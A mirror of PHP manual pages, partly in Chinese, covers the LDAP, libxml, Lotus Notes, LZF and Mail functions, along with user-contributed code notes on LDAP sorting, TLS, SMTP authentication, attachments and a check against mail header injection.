Here's a simple LDAP sort function I wrote:

function sort_ldap_entries($e, $fld, $order)
{
   for ($i = 0; $i < $e['count']; $i++) {
       for ($j = $i; $j < $e['count']; $j++) {
           $d = strcasecmp($e[$i][$fld][0], $e[$j][$fld][0]);
           switch ($order) {
           case 'A':
               if ($d > 0)
                   swap($e, $i, $j);
               break;
           case 'D':
               if ($d < 0)
                   swap($e, $i, $j);
               break;
           }
       }
   }
   return ($e);
}

function swap(&$ary, $i, $j)
{
   $temp = $ary[$i];
   $ary[$i] = $ary[$j];
   $ary[$j] = $temp;
}

so that it can be invoked like:

   $entries = sort_ldap_entries($entries, 'mail', 'A'); // sort entries by ascending order of mail

where,
   `$entries' is the array returned by ldap_get_entries() function.

This might be useful to those who still run older versions of PHP (<= 4.2.0) on their web servers :-)
rieflin at tdontspam dot salem dot k12 dot va dot us
20-Dec-2002 07:58
The note from Sean on 14-Nov-2002 was of great help to me but I had to change one line for it to work.

In the example below, change the line ...
ldap_sort = ($ldap_connection,$search_return,"givenname");
to ldap_sort ($ldap_connection,$search_return,"givenname");
and everything should work fine.

Sean's code.................
The following is a working example of how to use the ldap_sort function ...

$search_return = ldap_search($ldap_connection,$ldap_base,$search_filter);
ldap_sort = ($ldap_connection,$search_return,"givenname");
$entries = ldap_get_entries($ldap_connection,$search_return);

This will take the returned search sort it by the "givenname" attribute. It has to be done BEFORE you call ldap_get_entries.
sean dot ogrady at sheridanc dot on dot ca
15-Nov-2002 07:04
The following is a working example of how to use the ldap_sort function ...

$search_return = ldap_search($ldap_connection,$ldap_base,$search_filter);
ldap_sort = ($ldap_connection,$search_return,"givenname");
$entries = ldap_get_entries($ldap_connection,$search_return);

This will take the returned search sort it by the "givenname" attribute. It has to be done BEFORE you call ldap_get_entries.
jason dot sokolowski at rotork dot com
07-Sep-2002 04:51
Something real simple i wrote to sort directory searches by a persons last name.

for($i=0;$i<$result["count"];$i++)
{

$lastname = $result[$i]["sn"][0];

$lnames["$i"]=$lastname;

}//for i

@asort($lnames);
matthew dot j dot gray at uwrf dot edu
26-Jun-2002 05:47
This function applies strcmp() to each attribute (given by sortfilter) in order to sort the entries returned by the server.  To order search results ascending by last name, try passing "sn" as the sortfilter argument.  This function does not play nice with multi-valued attributes.
add a note add a note

后退 | 起点 | 前进
ldap_set_rebind_proc | 上一级 | ldap_start_tls


ldap_start_tls

(PHP 4 >= 4.2.0, PHP 5)

ldap_start_tls -- Start TLS

Description

bool ldap_start_tls ( resource link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
bill at strosberg dot com
14-Apr-2005 01:42
Please note there is a difference between ldaps and start-TLS for ldap.  start-TLS uses port 389, while ldaps uses port 636.  ldaps has been deprecated in favour of start-TLS for ldap.  Both encrypted (start-TLS ldap)  and unencrypted ldap (ldap) run on port 389 concurrently.

Errors encountered are generally due to misunderstanding how to implement TLS-encrypted ldap.
claar at no dot spam dot ksu dot edu
29-Jun-2004 06:10
Note that (in my very limited experience) you cannot use the ldaps protocol with tls, or ldap_start_tls() will report "ldap_start_tls(): Unable to start TLS: Operations error", and ldap_error() will return error code 1.

I found that I had to call ldap_connect() with ldap:// rather than ldaps:// for ldap_start_tls() to succeed.  Hope this helps someone!
wirges-at-cerias.purdue.edu
23-Jul-2002 11:19
It should be mentioned, that TLS connections for LDAP *REQUIRE* you to use LDAP Protocol version 3.  By default, PHP uses Protocol 2.
Therefore, if you do not know this, you may be puzzled as to why you get "TLS not supported" error.

To get around this, just use ldap_set_option to make the LDAP connection use Protocol 3 (if supported).

For example:

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
   }
   if (!ldap_start_tls($ds)) {
       fatal_error("Ldap_start_tls failed");
   }
   // now we need to bind anonymously to the ldap server
   $bth = ldap_bind($ds);
   //make your query
}
add a note add a note

后退 | 起点 | 前进
ldap_sort | 上一级 | ldap_t61_to_8859


ldap_t61_to_8859

(PHP 4 >= 4.0.2, PHP 5)

ldap_t61_to_8859 -- Translate t61 characters to 8859 characters

Description

string ldap_t61_to_8859 ( string value )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
14-Apr-2004 10:47
Indeed, utf is the way to go as soon as you use non-english text, if you required portability. Don't forget to utf5_encode either.
The t61_8859 functions seem to be deprecated.
add a note add a note

后退 | 起点 | 前进
ldap_start_tls | 上一级 | ldap_unbind


ldap_unbind

(PHP 3, PHP 4, PHP 5)

ldap_unbind -- Unbind from LDAP directory

Description

bool ldap_unbind ( resource link_identifier )

如果成功则返回 TRUE，失败则返回 FALSE。

ldap_unbind() function unbinds from the LDAP directory.

add a note add a note User Contributed Notes
kmenard at wpi dot edu
30-Nov-2001 03:47
ldap_unbind kills the link descriptor.  So, if you want to rebind as another user, just bind again; don't unbind.  Otherwise, you'll have to open up a new connection.
add a note add a note

后退 | 起点 | 前进
ldap_t61_to_8859 | 上一级 | libxml Functions


libxml Functions

PHP 手册
后退 前进

LXII. libxml Functions

简介

These functions/constants are available since PHP 5.1.0 and if you have compiled one of the extensions based on libxml, like DOM, SimpleXML and XSLT.

需求

This extension requires libxml >= 2.6.0.

预定义类

LibXMLError

属性

  • code - the error's code

  • column - the column where the error occurred. Please note that this property isn't entirely implemented in libxml and therefore 0 is often returned.

  • file - the filename, or empty if the XML was loaded from a string

  • level - the severity of the error (one of the following constants: LIBXML_ERR_WARNING, LIBXML_ERR_ERROR or LIBXML_ERR_FATAL)

  • line - the line where the error occurred

  • message - the error message

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

LIBXML_COMPACT (integer)

Activate small nodes allocation optimization. This may speed up your application without needing to change the code.

注: Only available in Libxml >= 2.6.21

LIBXML_DTDATTR (integer)

Default DTD attributes

LIBXML_DTDLOAD (integer)

Load the external subset

LIBXML_DTDVALID (integer)

Validate with the DTD

LIBXML_NOBLANKS (integer)

Remove blank nodes

LIBXML_NOCDATA (integer)

Merge CDATA as text nodes

LIBXML_NOEMPTYTAG (integer)

Expand empty tags (e.g. <br/> to <br></br>)

注: This option is currently just available in the DOMDocument->save() and DOMDocument->saveXML() functions.

LIBXML_NOENT (integer)

Substitute entities

LIBXML_NOERROR (integer)

Suppress error reports

LIBXML_NONET (integer)

Disable network access when loading documents

LIBXML_NOWARNING (integer)

Suppress warning reports

LIBXML_NOXMLDECL (integer)

Drop the XML declaration when saving a document

注: Only available in Libxml >= 2.6.21

LIBXML_NSCLEAN (integer)

Remove redundant namespaces declarations

LIBXML_XINCLUDE (integer)

Implement XInclude substitution

LIBXML_ERR_ERROR (integer)

A recoverable error

LIBXML_ERR_FATAL (integer)

A fatal error

LIBXML_ERR_NONE (integer)

No errors

LIBXML_ERR_WARNING (integer)

A simple warning

LIBXML_VERSION (integer)

libxml version like 20605 or 20617

LIBXML_DOTTED_VERSION (string)

libxml version like 2.6.5 or 2.6.17

目录
libxml_clear_errors -- Clear libxml error buffer
libxml_get_errors -- Retrieve array of errors
libxml_get_last_error -- Retrieve last error from libxml
libxml_set_streams_context -- Set the streams context for the next libxml document load or write
libxml_use_internal_errors -- Disable libxml errors and allow user to fetch error information as needed

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_unbind | 上一级 | libxml_clear_errors


libxml_clear_errors

(PHP 5 >= 5.1.0RC1)

libxml_clear_errors -- Clear libxml error buffer

说明

void libxml_clear_errors ( void )

libxml_clear_errors() clears the libxml error buffer.

返回值

无返回值。

参见

libxml_get_errors()
libxml_get_last_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
libxml Functions | 上一级 | libxml_get_errors


libxml_get_errors

(PHP 5 >= 5.1.0RC1)

libxml_get_errors -- Retrieve array of errors

说明

array libxml_get_errors ( void )

Retrieve array of errors.

返回值

Returns an array with LibXMLError objects if there are any errors in the buffer, or an empty array otherwise.

范例

例子 1. A libxml_get_errors() example

This example demonstrates how to build a simple libxml error handler.

<?php

libxml_use_internal_errors(true);

$xmlstr = <<< XML
<?xml version='1.0' standalone='yes'?>
<movies>
<movie>
  <titles>PHP: Behind the Parser</title>
</movie>
</movies>
XML;

$doc = simplexml_load_string($xmlstr);
$xml = explode("\n", $xmlstr);

if (!$doc) {
    $errors = libxml_get_errors();

    foreach ($errors as $error) {
        echo display_xml_error($error, $xml);
    }

    libxml_clear_errors();
}

function display_xml_error($error, $xml)
{
    $return  = $xml[$error->line - 1] . "\n";
    $return .= str_repeat('-', $error->column) . "^\n";

    switch ($error->level) {
        case LIBXML_ERR_WARNING:
            $return .= "Warning $error->code: ";
            break;
         case LIBXML_ERR_ERROR:
            $return .= "Error $error->code: ";
            break;
        case LIBXML_ERR_FATAL:
            $return .= "Fatal Error $error->code: ";
            break;
    }

    $return .= trim($error->message) .
               "\n  Line: $error->line" .
               "\n  Column: $error->column";

    if ($error->file) {
        $return .= "\n  File: $error->file";
    }

    return "$return\n\n--------------------------------------------\n\n";
}

?>

上例将输出：

<titles>PHP: Behind the Parser</title>
^
Fatal Error 76: Opening and ending tag mismatch: titles line 4 and title
  Line: 4
  Column: 0

--------------------------------------------

参见

libxml_get_last_error()
libxml_clear_errors()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
libxml_clear_errors | 上一级 | libxml_get_last_error


libxml_get_last_error

(PHP 5 >= 5.1.0RC1)

libxml_get_last_error -- Retrieve last error from libxml

说明

LibXMLError libxml_get_last_error ( void )

Retrieve last error from libxml.

返回值

Returns a LibXMLError object if there is any error in the buffer, FALSE otherwise.

参见

libxml_get_errors()
libxml_clear_errors()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
libxml_get_errors | 上一级 | libxml_set_streams_context


libxml_set_streams_context

(PHP 5)

libxml_set_streams_context -- Set the streams context for the next libxml document load or write

说明

void libxml_set_streams_context ( resource streams_context )

Sets the streams context for the next libxml document load or write.

参数

streams_context

The stream context resource (created with stream_context_create())

返回值

无返回值。

范例

例子 1. A libxml_set_streams_context() example

<?php

$opts = array(
    'http' => array(
        'user_agent' => 'PHP libxml agent',
    )
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// request a file through HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');

?>

参见

stream_context_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
libxml_get_last_error | 上一级 | libxml_use_internal_errors


libxml_use_internal_errors

(PHP 5 >= 5.1.0RC1)

libxml_use_internal_errors -- Disable libxml errors and allow user to fetch error information as needed

说明

bool libxml_use_internal_errors ( [bool use_errors] )

libxml_use_internal_errors() allows you to disable standard libxml errors and enable user error handling.

参数

use_errors

Whether to enable user error handling. Defaults to FALSE.

返回值

This function returns the previous value of use_errors.

范例

例子 1. A libxml_use_internal_errors() example

This example demonstrates the basic usage of libxml errors and the value returned by this function.

<?php

// enable user error handling
var_dump(libxml_use_internal_errors(true));

$doc = DOMDocument::load('file.xml');

if (!$doc) {
    $errors = libxml_get_errors();
    foreach ($errors as $error) {
        // handle errors here
    }

    libxml_clear_errors();
}

?>

上例将输出：

bool(false)

参见

libxml_clear_errors()
libxml_get_errors()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
libxml_set_streams_context | 上一级 | Lotus Notes Functions


Lotus Notes Functions

PHP 手册
后退 前进

LXIII. Lotus Notes Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0. 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/notes.

警告

This extension is currently not supported, thus looking for a maintainer.

目录
notes_body -- Open the message msg_number in the specified mailbox on the specified server (leave serv
notes_copy_db -- Copy a Lotus Notes database
notes_create_db -- Create a Lotus Notes database
notes_create_note -- Create a note using form form_name
notes_drop_db -- Drop a Lotus Notes database
notes_find_note -- Returns a note id found in database_name
notes_header_info -- Open the message msg_number in the specified mailbox on the specified server (leave serv
notes_list_msgs -- Returns the notes from a selected database_name
notes_mark_read -- Mark a note_id as read for the User user_name
notes_mark_unread -- Mark a note_id as unread for the User user_name
notes_nav_create -- Create a navigator name, in database_name
notes_search -- Find notes that match keywords in database_name
notes_unread -- Returns the unread note id's for the current User user_name
notes_version -- Get the version Lotus Notes

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
libxml_use_internal_errors | 上一级 | notes_body


notes_body

(PHP 4 >= 4.0.5, PECL)

notes_body -- Open the message msg_number in the specified mailbox on the specified server (leave serv

Description

array notes_body ( string server, string mailbox, int msg_number )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Lotus Notes Functions | 上一级 | notes_copy_db


notes_copy_db

(PHP 4 >= 4.0.5, PECL)

notes_copy_db -- Copy a Lotus Notes database

Description

bool notes_copy_db ( string from_database_name, string to_database_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_body | 上一级 | notes_create_db


notes_create_db

(PHP 4 >= 4.0.5, PECL)

notes_create_db -- Create a Lotus Notes database

Description

bool notes_create_db ( string database_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_copy_db | 上一级 | notes_create_note


notes_create_note

(PHP 4 >= 4.0.5, PECL)

notes_create_note -- Create a note using form form_name

Description

bool notes_create_note ( string database_name, string form_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_create_db | 上一级 | notes_drop_db


notes_drop_db

(PHP 4 >= 4.0.5, PECL)

notes_drop_db -- Drop a Lotus Notes database

Description

bool notes_drop_db ( string database_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_create_note | 上一级 | notes_find_note


notes_find_note

(PHP 4 >= 4.0.5, PECL)

notes_find_note -- Returns a note id found in database_name

Description

int notes_find_note ( string database_name, string name [, string type] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_drop_db | 上一级 | notes_header_info


notes_header_info

(PHP 4 >= 4.0.5, PECL)

notes_header_info -- Open the message msg_number in the specified mailbox on the specified server (leave serv

Description

object notes_header_info ( string server, string mailbox, int msg_number )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_find_note | 上一级 | notes_list_msgs


notes_list_msgs

(PHP 4 >= 4.0.5, PECL)

notes_list_msgs -- Returns the notes from a selected database_name

Description

bool notes_list_msgs ( string db )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_header_info | 上一级 | notes_mark_read


notes_mark_read

(PHP 4 >= 4.0.5, PECL)

notes_mark_read -- Mark a note_id as read for the User user_name

Description

bool notes_mark_read ( string database_name, string user_name, string note_id )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_list_msgs | 上一级 | notes_mark_unread


notes_mark_unread

(PHP 4 >= 4.0.5, PECL)

notes_mark_unread -- Mark a note_id as unread for the User user_name

Description

bool notes_mark_unread ( string database_name, string user_name, string note_id )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_mark_read | 上一级 | notes_nav_create


notes_nav_create

(PHP 4 >= 4.0.5, PECL)

notes_nav_create -- Create a navigator name, in database_name

Description

bool notes_nav_create ( string database_name, string name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_mark_unread | 上一级 | notes_search


notes_search

(PHP 4 >= 4.0.5, PECL)

notes_search -- Find notes that match keywords in database_name

Description

array notes_search ( string database_name, string keywords )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_nav_create | 上一级 | notes_unread


notes_unread

(PHP 4 >= 4.0.5, PECL)

notes_unread -- Returns the unread note id's for the current User user_name

Description

array notes_unread ( string database_name, string user_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_search | 上一级 | notes_version


notes_version

(PHP 4 >= 4.0.5, PECL)

notes_version -- Get the version Lotus Notes

Description

float notes_version ( string database_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
notes_unread | 上一级 | LZF Functions


LZF Functions

PHP 手册
后退 前进

LXIV. LZF Functions

简介

LZF is a very fast compression algorithm, ideal for saving space with only slight speed cost. It can be optimized for speed or space at the time of compilation.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/lzf.

In order to use these functions you must compile PHP with lzf support by using the --with-lzf[=DIR] configure option. You may also pass --enable-lzf-better-compression to optimize LZF for space rather then speed.

Windows users will enable php_lzf.dll inside of php.ini in order to use these functions. 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

目录
lzf_compress -- LZF compression
lzf_decompress -- LZF decompression
lzf_optimized_for -- Determines what LZF extension was optimized for

add a note add a note User Contributed Notes
grenier at cgsecurity dot org
06-Sep-2005 04:39
To install lzf, you can use

gunzip lzf-xxx.tgz
tar -xvf lzf-xxx.tar
cd lzf-xxx
phpize
./configure && make && make install
add a note add a note

后退 | 起点 | 前进
notes_version | 上一级 | lzf_compress


lzf_compress

(PECL)

lzf_compress -- LZF compression

说明

string lzf_compress ( string data )

lzf_compress() compresses the given data.

参数

data

The string to compress.

返回值

Returns the compressed data or FALSE if an error occurred.

参见

lzf_decompress()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
LZF Functions | 上一级 | lzf_decompress


lzf_decompress

(PECL)

lzf_decompress -- LZF decompression

说明

string lzf_decompress ( string data )

lzf_compress() decompresses the given data.

参数

data

The compressed string.

返回值

Returns the decompressed data or FALSE if an error occurred.

参见

lzf_compress()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
lzf_compress | 上一级 | lzf_optimized_for


lzf_optimized_for

(PECL)

lzf_optimized_for -- Determines what LZF extension was optimized for

说明

int lzf_optimized_for ( void )

Determines for what the LZF extension was optimised.

返回值

Returns 1 if LZF was optimized for speed, 0 for compression.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
lzf_decompress | 上一级 | Mail Functions


Mail Functions

PHP 手册
后退 前进

LXV. Mail Functions

简介

The mail() function allows you to send mail.

需求

For the Mail functions to be available, PHP must have access to the sendmail binary on your system during compile time. If you use another mail program, such as qmail or postfix, be sure to use the appropriate sendmail wrappers that come with them. PHP will first look for sendmail in your PATH, and then in the following: /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib. It's highly recommended to have sendmail available from your PATH. Also, the user that compiled PHP must have permission to access the sendmail binary.

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Mail configuration options

Name | Default | Changeable | Changelog
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL | Available since PHP 4.3.0.
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | NULL | PHP_INI_SYSTEM |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

SMTP string

Used under Windows only: DNS name or IP address of the SMTP server PHP should use for mail sent with the mail() function.

smtp_port int

Used under Windows only: Number of the port to connect to the server specified with the SMTP setting when sending mail with mail(); defaults to 25. Only available since PHP 4.3.0.

sendmail_from string

Which "From:" mail address should be used in mail sent from PHP under Windows.

sendmail_path string

Where the sendmail program can be found, usually /usr/sbin/sendmail or /usr/lib/sendmail. configure does an honest attempt of locating this one for you and set a default, but if it fails, you can set it here.

Systems not using sendmail should set this directive to the sendmail wrapper/replacement their mail system offers, if any. For example, Qmail users can normally set it to /var/qmail/bin/sendmail or /var/qmail/bin/qmail-inject.

qmail-inject does not require any option to process mail correctly.

This directive works also under Windows. If set, smtp, smtp_port and sendmail_from are ignored and the specified command is executed.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
ezmlm_hash -- Calculate the hash value needed by EZMLM
mail -- Send mail

add a note add a note User Contributed Notes
chris at w3style dot co dot uk
28-May-2006 03:10
mail() opens a new connection for each email it sends out which causes some significant overhead if you're sending out many emails in one go.

You can avoid this by using sockets like Antony Male has done and then send as many emails as you like through the same connection.  It should be noted however that some MTA's will reject your emails after you've sent over a certain threshold on the same connection (about 10 would be normal) so it's worth disconnecting and reconnecting periodically.

I'm surprised nobody has drawn attention to PHPMailer (http://phpmailer.sourceforge.net) which makes this sort of stuff really easy.  Even better still is Swift Mailer by Chris Corbyn (http://www.swiftmailer.org) because it includes plugin support and it's tighter.

Another thing that's bitten me before is Magic Quotes! If it's turned on and you're sending attachments that seem to arrive corrupted it's more than likely because your attachments are full of backslashes.

Hope the links might be useful to some people :)
josephcmiller2 at gmail dot com
26-May-2006 10:26
I have been using the function mymail() provided by Antony Male (below) to send mail on my server, but with a couple of modifications.  First, I needed to enable AUTH LOGIN in order to use my smtp server from my ISP.  Second, his mymail() function allows for a $from to be used, but the function does not accept any such parameter.  I have addressed the latter issue by parsing the headers to obtain the From: address.  If this is not provided, failed mail will not be returned properly to the sender.

// modified to provide authenticated logins
function mymail($to,$subject,$message,$headers)
{

  // set as global variable
  global $GLOBAL;

  // get From address
  if ( preg_match("/From:.*?[A-Za-z0-9\._%-]+\@[A-Za-z0-9\._%-]+.*/", $headers, $froms) ) {
     preg_match("/[A-Za-z0-9\._%-]+\@[A-Za-z0-9\._%-]+/", $froms[0], $fromarr);
     $from = $fromarr[0];
  }

  // Open an SMTP connection
  $cp = fsockopen ($GLOBAL["SMTP_SERVER"], $GLOBAL["SMTP_PORT"], &$errno, &$errstr, 1);
  if (!$cp)
   return "Failed to even make a connection";
  $res=fgets($cp,256);
  if(substr($res,0,3) != "220") return "Failed to connect";

  // Say hello...
  fputs($cp, "HELO ".$GLOBAL["SMTP_SERVER"]."\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "250") return "Failed to Introduce";

  // perform authentication
  fputs($cp, "auth login\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "334") return "Failed to Initiate Authentication";

  fputs($cp, base64_encode($GLOBAL["SMTP_USERNAME"])."\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "334") return "Failed to Provide Username for Authentication";

  fputs($cp, base64_encode($GLOBAL["SMTP_PASSWORD"])."\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "235") return "Failed to Authenticate";

  // Mail from...
  fputs($cp, "MAIL FROM: <$from>\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "250") return "MAIL FROM failed";

  // Rcpt to...
  fputs($cp, "RCPT TO: <$to>\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "250") return "RCPT TO failed";

  // Data...
  fputs($cp, "DATA\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "354") return "DATA failed";

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line (for end of message)
  fputs($cp, "To: $to\r\nFrom: $from\r\nSubject: $subject\r\n$headers\r\n\r\n$message\r\n.\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "250") return "Message Body Failed";

  // ...And time to quit...
  fputs($cp,"QUIT\r\n");
  $res=fgets($cp,256);
  if(substr($res,0,3) != "221") return "QUIT failed";

  return true;
}
martin dot felis at gmx dot de
11-Mar-2006 11:03
If using a chroot environment and you don't want to have a full mailer in it, mini-sendmail (can be found at http://www.acme.com/software/mini_sendmail/) is very useful. It is just a small binary that sends mails over your local mta over port 25.

Martin
judas dot iscariote at gmail dot com
07-Mar-2006 01:07
For those of you worried about Mail Injection .. Zend_Mail provides protection against this trick.

http://framework.zend.com/manual/zend.mail.html
derernst at gmx dot ch
18-Feb-2006 12:43
Suggestion for methods checking form inputs for e-mail injection attempts.

Any inputs expected from single-line text fields can just be refused if they contain a newline character. The second function tries to minimize matches on non-evil inputs by matching suspect strings only if preceded by a newline character. (Anyway, if this is considered to be safe, it will of course do it for single-line inputs, too.)

<?php

/**
* Check single-line inputs:
* Returns false if text contains newline character
*/
function has_no_newlines($text)
{
   return preg_match("/(%0A|%0D|\\n+|\\r+)/i", $text) == 0;
}

/**
* Check multi-line inputs:
* Returns false if text contains newline followed by
* email-header specific string
*/
function has_no_emailheaders($text)
{
   return preg_match("/(%0A|%0D|\\n+|\\r+)(content-type:|to:|cc:|bcc:)/i", $text) == 0;
}

?>
jcwebb at dicoe dot com
08-Feb-2006 06:16
Corrupted Attachments ???
I spent many hours with corrupted attachments (of all types of files) - The answer: a blank line is needed after $msg.=$file \r\n \r\n [incredible but true].
Heres some useful code for sending an attachment, and display html OR text depending on the users email-reader.

i work with many different systems, so...

<?php # Is the OS Windows or Mac or Linux
if (strtoupper(substr(PHP_OS,0,3)=='WIN')) {
  $eol="\r\n";
} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {
  $eol="\r";
} else {
  $eol="\n";
} ?>

<?php
# File for Attachment
$f_name="../../letters/".$letter;    // use relative path OR ELSE big headaches. $letter is my file for attaching.
$handle=fopen($f_name, 'rb');
$f_contents=fread($handle, filesize($f_name));
$f_contents=chunk_split(base64_encode($f_contents));    //Encode The Data For Transition using base64_encode();
$f_type=filetype($f_name);
fclose($handle);
# To Email Address
$emailaddress="him@her.com";
# Message Subject
$emailsubject="Heres An Email with a PDF".date("Y/m/d H:i:s");
# Message Body
ob_start();
  require("emailbody.php");    // i made a simple & pretty page for showing in the email
$body=ob_get_contents(); ob_end_clean();

# Common Headers
$headers .= 'From: Jonny <jon@genius.com>'.$eol;
$headers .= 'Reply-To: Jonny <jon@genius.com>'.$eol;
$headers .= 'Return-Path: Jonny <jon@genius.com>'.$eol;    // these two to set reply address
$headers .= "Message-ID: <".$now." TheSystem@".$_SERVER['SERVER_NAME'].">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;          // These two to help avoid spam-filters
# Boundry for marking the split & Multitype Headers
$mime_boundary=md5(time());
$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-Type: multipart/related; boundary=\"".$mime_boundary."\"".$eol;
$msg = "";

# Attachment
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: application/pdf; name=\"".$letter."\"".$eol;  // sometimes i have to send MS Word, use 'msword' instead of 'pdf'
$msg .= "Content-Transfer-Encoding: base64".$eol;
$msg .= "Content-Disposition: attachment; filename=\"".$letter."\"".$eol.$eol; // !! This line needs TWO end of lines !! IMPORTANT !!
$msg .= $f_contents.$eol.$eol;
